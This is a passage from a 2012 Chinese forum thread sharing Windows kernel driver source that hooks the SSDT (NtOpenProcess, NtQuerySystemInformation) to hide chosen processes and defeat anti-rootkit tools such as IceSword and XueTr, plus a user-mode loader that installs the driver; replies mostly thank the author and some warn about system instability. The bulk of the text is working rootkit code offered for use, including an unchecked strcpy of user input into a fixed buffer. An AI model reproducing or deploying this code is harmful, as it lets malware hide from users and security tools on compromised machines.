  598.                         SystemInformation = (PVOID)((DWORD)SystemInformation + lpspi->NextEntryDelta);
  599.                         // 指针下移
  600.                         lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
  601.                         continue;                     
  602.                    }
  603.                    else
  604.                    {
  605.                        // 如果只有一个节点且是要隐藏的节点 则将输出缓冲器置空
  606.                        SystemInformation = NULL;
  607.                    }      
  608.               }
  609.               else         // 如果是中间节点 则表示该进程信息是在中间或尾部
  610.               {
  611.                     // 如果还有下一个节点 说明该进程信息是在中间部分
  612.                     if(lpspi->NextEntryDelta != 0)
  613.                     {
  614.                         // 将该进程信息的上一个指针结构偏移量指向下一个节点 这样就可以忽略这个进程的指针信息
  615.                         lpspia->NextEntryDelta += lpspi->NextEntryDelta;
  616.                         // 指针移向下一个指针
  617.                         lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
  618.                         continue;
  619.                     }
  620.                     //尾部结点
  621.                     else
  622.                     {
  623.                         // 如果该进程信息是在尾部 则直接将进程信息的上一个指针结构偏移量指向空,这样整个链表就忽略了这个进程信息链表
  624.                         lpspia->NextEntryDelta = 0;
  625.                     }                 
  626.               }                                                            
  627.          }  
  628.   
  629.           // 保存这个与我们要保护进程无关的信息指针~~
  630.          lpspia = lpspi;
  631.          // 如果还有下一个节点
  632.          if(lpspi->NextEntryDelta != 0)
  633.         {
  634.             // 移动到下一个节点 进行判断该节点的信息是不要移除的信息
  635.             lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
  636.         }
  637.         else
  638.         {
  639.             // 如果没有则置空 结束循环
  640.             lpspi = NULL;
  641. //          lpspia->NextEntryDelta = 5;    //加上这个就能隐藏指定进程并且冰刃查看进程会报错 XT看不到所有的进程 但是能显示出正确的进程数 任务管理器可能也会报错

  642.         }

  643.   }
  644.   return a;
  645. }

  646. main.cpp:  主函数
  647. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  648. #include <main.h>

  649. // 定义Rin3 传递下来的指令 因与Ring3定义相同 值必须 >=0x800
  650. #define HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS)
  651. #define L_HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED,FILE_ANY_ACCESS)
  652. #define UnHOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED,FILE_ANY_ACCESS)

  653. extern "C"
  654. {
  655.        #include <SSDT_HOOK.h>                // SSDT HOOK 框架
  656.        #include <HOOK_API.h>                 // 要HOOK的函数原型及替代函数
  657. }


  658. // 相当于应用程序的main()函数 这是驱动人口函数,凡是驱动被加载均会从这里开始执行
  659. #pragma INITCODE
  660. extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING B)
  661. {      
  662.        // 注册派遣函数
  663.        pDriverObject->MajorFunction[IRP_MJ_CREATE]            =    DispatchRoutine;
  664.        pDriverObject->MajorFunction[IRP_MJ_CLOSE]             =    DispatchRoutine;
  665.        pDriverObject->MajorFunction[IRP_MJ_READ]              =    DispatchRoutine;
  666.        pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]    =    DispatchRoutine;
  667.       
  668.        // 设置卸载驱动时要执行的代码做善后,不设置则无法卸载
  669.        pDriverObject->DriverUnload                            =    UnLoadSys;  
  670.       
  671.        // 创建设备 和 符号连接
  672.        CreateMyDevice(pDriverObject, L"\\Device\\L_Device", L"\\??\\LoveMengx_SSDTHOOK_Driver");
  673.       
  674.        KdPrint(("【加载】驱动完毕。"));
  675.   
  676. ///////////////////////////////////////////////////////////////////////////////////      
  677.        LONG NtAPI_Addrs = 0;
  678.        if(!HOOK_API(122, &NtAPI_Addrs, (ULONG)MyNtOpenProcess))
  679.        {
  680.            KdPrint(("NtOpenProcess HOOK 成功~~", NtAPI_Addrs));
  681.            RealNtOpenProcess = (NTOPENPROCESS*)NtAPI_Addrs;
  682.        }
  683.        else
  684.        {
  685.            KdPrint(("HOOK 失败~~", NtAPI_Addrs));         
  686.        }
  687.        if(!HOOK_API(173, &NtAPI_Addrs, (ULONG)MyNtQuerySystemInformation))
  688.        {
  689.            KdPrint(("NtQuerySystemInformation HOOK 成功~~", NtAPI_Addrs));
  690.            RealNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION*)NtAPI_Addrs;
  691.        }
  692.        else
  693.        {
  694.            KdPrint(("HOOK 失败~~", NtAPI_Addrs));
  695.        }
  696.               
  697.        return 1;                                                   
  698. }

  699. // 卸载驱动
  700. #pragma PAGECODE
  701. void UnLoadSys(IN PDRIVER_OBJECT pDriverObject)
  702. {            
  703.      // 删除设备
  704.      PDEVICE_OBJECT pDev;
  705.      pDev =  pDriverObject->DeviceObject;
  706.      IoDeleteDevice(pDev);
  707.      
  708.      // 删除符号连接
  709.      IoDeleteSymbolicLink(&SymLinkName);

  710.      KdPrint(("【卸载】驱动完毕。"));
  711.      KdPrint(("-----------------------------------"));
  712. }

  713. BOOL HOOKAPI(ULONG Process_PID)
  714. {
  715.     if(Process_PID >65536)
  716.     {
  717.          return FALSE;
  718.     }
  719.     if(!ScanPID(Process_PID))                                    // 检查是否存在
  720.     {
  721.        _ProcessPID[_ProcessPID_Len] = Process_PID;
  722.        _ProcessPID_Len++;                        
  723.     }
  724.     return TRUE;
  725. }

  726. BOOL UnHOOKAPI()
  727. {
  728.      BOOL Retu = FALSE;
  729.      _ProcessPID_Len = 0;
  730.      
  731.      if(!UnHOOK_API(122, L"NtOpenProcess"))
  732.      {
  733.          Retu = TRUE;
  734.          KdPrint(("NtOpenProcess UnHOOK 成功~~"));        
  735.      }
  736.      else
  737.      {
  738.          Retu = FALSE;
  739.          KdPrint(("NtOpenProcess UnHOOK 失败~~"));
  740.      }
  741.      
  742.      if(!UnHOOK_API(173, L"NtQuerySystemInformation"))
  743.      {
  744.          Retu = TRUE;
  745.          KdPrint(("NtQuerySystemInformation UnHOOK 成功~~"));  
  746.      }
  747.      else
  748.      {
  749.          Retu = FALSE;
  750.          KdPrint(("NtQuerySystemInformation UnHOOK 失败~~"));
  751.      }
  752.      return Retu;   
  753. }

  754. int my_atoi(const char* p)
  755. {
  756. bool neg_flag = false;// 符号标记
  757. int res = 0;// 结果
  758. if(p[0] == '+' || p[0] == '-')
  759. neg_flag = (*p++ != '+');
  760. while(isdigit(*p)) res = res*10 + (*p++ - '0');
  761. return neg_flag ?0 -res : res;
  762. }

  763. ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp)
  764. {
  765.      // 获取应用层传递下来的数据
  766.      char* InputBuffer =  (char*)pIrp->AssociatedIrp.SystemBuffer;
  767.      char* OutputBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer;
  768.      char Tmp[100] = {0};
  769.      ULONG Info = 0;
  770.      // 分析指令
  771.      switch(Ring3_Cmd)
  772.      {
  773.          case HOOK:
  774.               {
  775.   strcpy(Tmp, InputBuffer);
  776.                    KdPrint(("用户传下来的数据 %s   %d", Tmp,my_atoi(Tmp) ));
  777.                    if(HOOKAPI(my_atoi(Tmp)))
  778.                    {
  779.                         strcpy(Tmp, "ADD 完毕~");
  780.                    }
  781.                    else
  782.                    {
  783.                        strcpy(Tmp, "ADD 失败,PID超过有效范围~");
  784.                    }  
  785.                    break;
  786.               }
  787.          case UnHOOK:
  788.               {
  789.                    if(UnHOOKAPI())
  790.                    {
  791.                         strcpy(Tmp, "UnHOOK OK");
  792.                    }
  793.                    else
  794.                    {
  795.                         strcpy(Tmp, "UnHOOK Error");
  796.                    }
  797.                    break;
  798.               }
  799.          case L_HOOK:                       // 终极隐藏
  800.                        _L_HOOK = TRUE;
  801.                        strcpy(Tmp, "已经启动终极隐藏");
  802.               break;   
  803.      }
  804.      strcpy(OutputBuffer, Tmp);
  805.      Info = strlen(Tmp);
  806.      return Info;
  807. }

  808. Exe完整程序源码
  809. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
  810. #include "stdafx.h"
  811. #include "stdlib.h"
  812. #include "stdio.h"

  813. #include<winioctl.h> //CTL_CODE
  814. #define UHook CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS)

  815. BOOL LoadNTDriver(char* lpDriverName,char* lpDriverPathName)
  816. {
  817. BOOL bRet = FALSE;
  818. SC_HANDLE hServiceMgr=NULL;//SCM管理器的句柄
  819. SC_HANDLE hServiceDDK=NULL;//NT驱动程序的服务句柄
  820. //打开服务控制管理器
  821. hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
  822. if( hServiceMgr == NULL )  
  823. {
  824. //OpenSCManager失败
  825. //TRACE( "OpenSCManager() Faild %d ! \n", GetLastError() );
  826. bRet = FALSE;
  827. goto BExit;
  828. }
  829. //创建驱动所对应的服务
  830. hServiceDDK = CreateService( hServiceMgr,
  831. lpDriverName, //驱动程序的在注册表中的名字  
  832. lpDriverName, // 注册表驱动程序的 DisplayName 值  
  833. SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限  
  834. SERVICE_KERNEL_DRIVER,// 表示加载的服务是驱动程序  
  835. SERVICE_DEMAND_START, // 注册表驱动程序的 Start 值  
  836. SERVICE_ERROR_IGNORE, // 注册表驱动程序的 ErrorControl 值  
  837. lpDriverPathName, // 注册表驱动程序的 ImagePath 值  
  838. NULL,  
  839. NULL,  
  840. NULL,  
  841. NULL,  
  842. NULL);  
  843. DWORD dwRtn;
  844. //判断服务是否失败
  845. if( hServiceDDK == NULL )  
  846. {  
  847. dwRtn = GetLastError();
  848. if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS )  
  849. {  
  850. //由于其他原因创建服务失败
  851. //TRACE( "CrateService() 失败 %d ! \n", dwRtn );  
  852. bRet = FALSE;
  853. goto BExit;
  854. }  
  855. else  
  856. {
  857. //服务创建失败,是由于服务已经创立过
  858. //TRACE( "CrateService() 服务创建失败,是由于服务已经创立过 ERROR is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! \n" );  
  859. }
  860. // 驱动程序已经加载,只需要打开  
  861. hServiceDDK = OpenService( hServiceMgr, lpDriverName, SERVICE_ALL_ACCESS );  
  862. if( hServiceDDK == NULL )  
  863. {
  864. //如果打开服务也失败,则意味错误
  865. dwRtn = GetLastError();  
  866. //TRACE( "OpenService() 失败 %d ! \n", dwRtn );  
  867. bRet = FALSE;
  868. goto BExit;
  869. }  
  870. }  
  871. //开启此项服务
  872. bRet= StartService( hServiceDDK, NULL, NULL );  
  873. if( !bRet )  //开启服务不成功
  874. {  
  875. //TRACE( "StartService() 失败 服务可能已经开启%d ! \n", dwRtn );  
  876. bRet = FALSE;
  877. goto BExit;
  878. }
  879. bRet = TRUE;
  880. //离开前关闭句柄
  881. BExit:
  882. if(hServiceDDK)
  883. {
  884. CloseServiceHandle(hServiceDDK);
  885. }
  886. if(hServiceMgr)
  887. {
  888. CloseServiceHandle(hServiceMgr);
  889. }
  890. return bRet;
  891. }
  892. //卸载驱动程序  
  893. BOOL UnLoadSys( char * szSvrName )  
  894. {
  895. //一定义所用到的变量
  896. BOOL bRet = FALSE;
  897. SC_HANDLE hSCM=NULL;//SCM管理器的句柄,用来存放OpenSCManager的返回值
  898. SC_HANDLE hService=NULL;//NT驱动程序的服务句柄,用来存放OpenService的返回值
  899. SERVICE_STATUS SvrSta;
  900. //二打开SCM管理器
  901. hSCM = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );  
  902. if( hSCM == NULL )  
  903. {
  904. bRet = FALSE;
  905. goto BeforeLeave;
  906. }  

  907. //三打开驱动所对应的服务
  908. hService = OpenService( hSCM, szSvrName, SERVICE_ALL_ACCESS );  
  909. if( hService == NULL )  
  910. {
  911. bRet = FALSE;
  912. goto BeforeLeave;
  913. }  

  914. //四停止驱动程序,如果停止失败,只有重新启动才能,再动态加载。  
  915. if( !ControlService( hService, SERVICE_CONTROL_STOP , &SvrSta ) )  
  916. {  
  917. bRet = FALSE;
  918. goto BeforeLeave;
  919. }  

  920. //五动态卸载驱动服务。  
  921. if( !DeleteService( hService ) )  //TRUE//FALSE
  922. {
  923. bRet = FALSE;
  924. goto BeforeLeave;
  925. }  
  926.   
  927. bRet = TRUE;
  928. //六 离开前关闭打开的句柄
  929. BeforeLeave:
  930. if(hService>0)
  931. {
  932. CloseServiceHandle(hService);
  933. }
  934. if(hSCM>0)
  935. {
  936. CloseServiceHandle(hSCM);
  937. }
  938. return bRet;
  939. }


  940. int APIENTRY WinMain(HINSTANCE hInstance,
  941.                      HINSTANCE hPrevInstance,
  942.                      LPSTR     lpCmdLine,
  943.                      int       nCmdShow)
  944. {
  945. char FilaPath[MAX_PATH] = {0};
  946. char FileName[MAX_PATH] = "UnHook.sys";

  947. if(!strstr(lpCmdLine, "-") || !strstr(lpCmdLine,"<") || !strlen(lpCmdLine))
  948. {
  949. puts("参数格式:指定Nt内核函数的SSDT序列号-Nt内核函数命<");
  950. puts("例如:122-NtOpenProcess<");

  951. return 1;
  952. }

  953. GetModuleFileName(NULL,FilaPath,MAX_PATH);
  954. *(strrchr(FilaPath,'\\')+1) = '\0';
  955. strcat(FilaPath, FileName);


  956. if (!LoadNTDriver(FileName, FilaPath))
  957. {
  958. puts("加载驱动失败!...");
  959. return 1;
  960. }
  961. Sleep(100);

  962. HANDLE hDevice = NULL;
  963. hDevice = CreateFile("\\\\.\\LoveMengx_UnSSDTHOOK_Driver",
  964. GENERIC_READ|GENERIC_WRITE,
  965. 0,
  966. NULL,
  967. OPEN_EXISTING,
  968. FILE_ATTRIBUTE_NORMAL,
  969. NULL);
  970. if (INVALID_HANDLE_VALUE == hDevice)
  971. {
  972. puts("打开驱动失败...");
  973. return 1;
  974. }
  975. char Buff[1024] = {0};
  976. char Tmp[1024]= {0};
  977. ULONG dwWrite;

  978. DeviceIoControl(hDevice, UHook, Buff, strlen(Buff), Tmp, 1024, &dwWrite, NULL);
  979. if (UnLoadSys(FileName))
  980. {
  981. puts("卸载驱动失败...");
  982. return 1;
  983. }

  984. puts("完成操作~~");
  985. return 0;
  986. }


  987.                                                                                                              ---  By  L、(Love 梦想)QQ:1007566569
  988.                                                                                                              ---  于 2012.11.20
复制代码

Rank: 1

发表于 2012-11-21 19:17:51 |显示全部楼层
SSDT HOOK技术轻松让最新版冰刃、XueTr失效 ---Love 梦想(原创) [复制链接]

Rank: 1

发表于 2012-11-22 15:15:36 |显示全部楼层
不懂,学习

Rank: 5Rank: 5

发表于 2012-11-25 08:33:06 |显示全部楼层
TaskMgr获取的信息其实也不少,但是确实动态设置需要获取的项,所以不会发生问题(呵呵)

Rank: 1

发表于 2012-11-25 18:50:19 |显示全部楼层
破坏进程链 貌似会引起系统异常~

Rank: 1

发表于 2012-11-26 04:40:01 |显示全部楼层
谢谢分享

Rank: 1

发表于 2012-11-28 22:48:37 |显示全部楼层
学习

Rank: 1

发表于 2012-11-30 08:39:12 |显示全部楼层
下载看看再说。感谢分享。

Rank: 1

发表于 2012-12-1 12:34:53 |显示全部楼层
来学习观摩一下

Rank: 1

发表于 2012-12-2 08:28:26 |显示全部楼层
这样系统不稳定...谁敢用这种方法啊?要是用户用着用着系统就崩了~~

Rank: 1

发表于 2012-12-2 21:51:18 |显示全部楼层
thanks for your share

Rank: 1

发表于 2012-12-3 21:58:29 |显示全部楼层
PID能重复的吗?

Rank: 1

发表于 2012-12-3 23:48:20 |显示全部楼层
have a look

Rank: 1

发表于 2012-12-4 12:21:17 |显示全部楼层
看看~~~

Rank: 1

发表于 2012-12-4 19:20:49 |显示全部楼层
还没成功试过驱动!

Rank: 1

发表于 2012-12-5 16:16:29 |显示全部楼层
还玩XP啊?

Rank: 1

发表于 2012-12-6 11:35:00 |显示全部楼层
说白了 SSDT  RING3都要经过 经过过程改一下结构在传给指定目标 那个程序八成要挂或者其他
我在看雪也发过

Rank: 1

发表于 2012-12-8 13:33:45 |显示全部楼层
看看大神很不错支持一下

Rank: 1

发表于 2012-12-8 20:38:38 |显示全部楼层
嗯,各种疑问,Pid不是唯一的吗,还有pscidtable的结构破坏了系统还稳定么?

Rank: 1

发表于 2012-12-9 17:18:13 |显示全部楼层
学习一下,谢谢分享
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-5-22 01:39 , Processed in 0.054656 second(s), 11 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部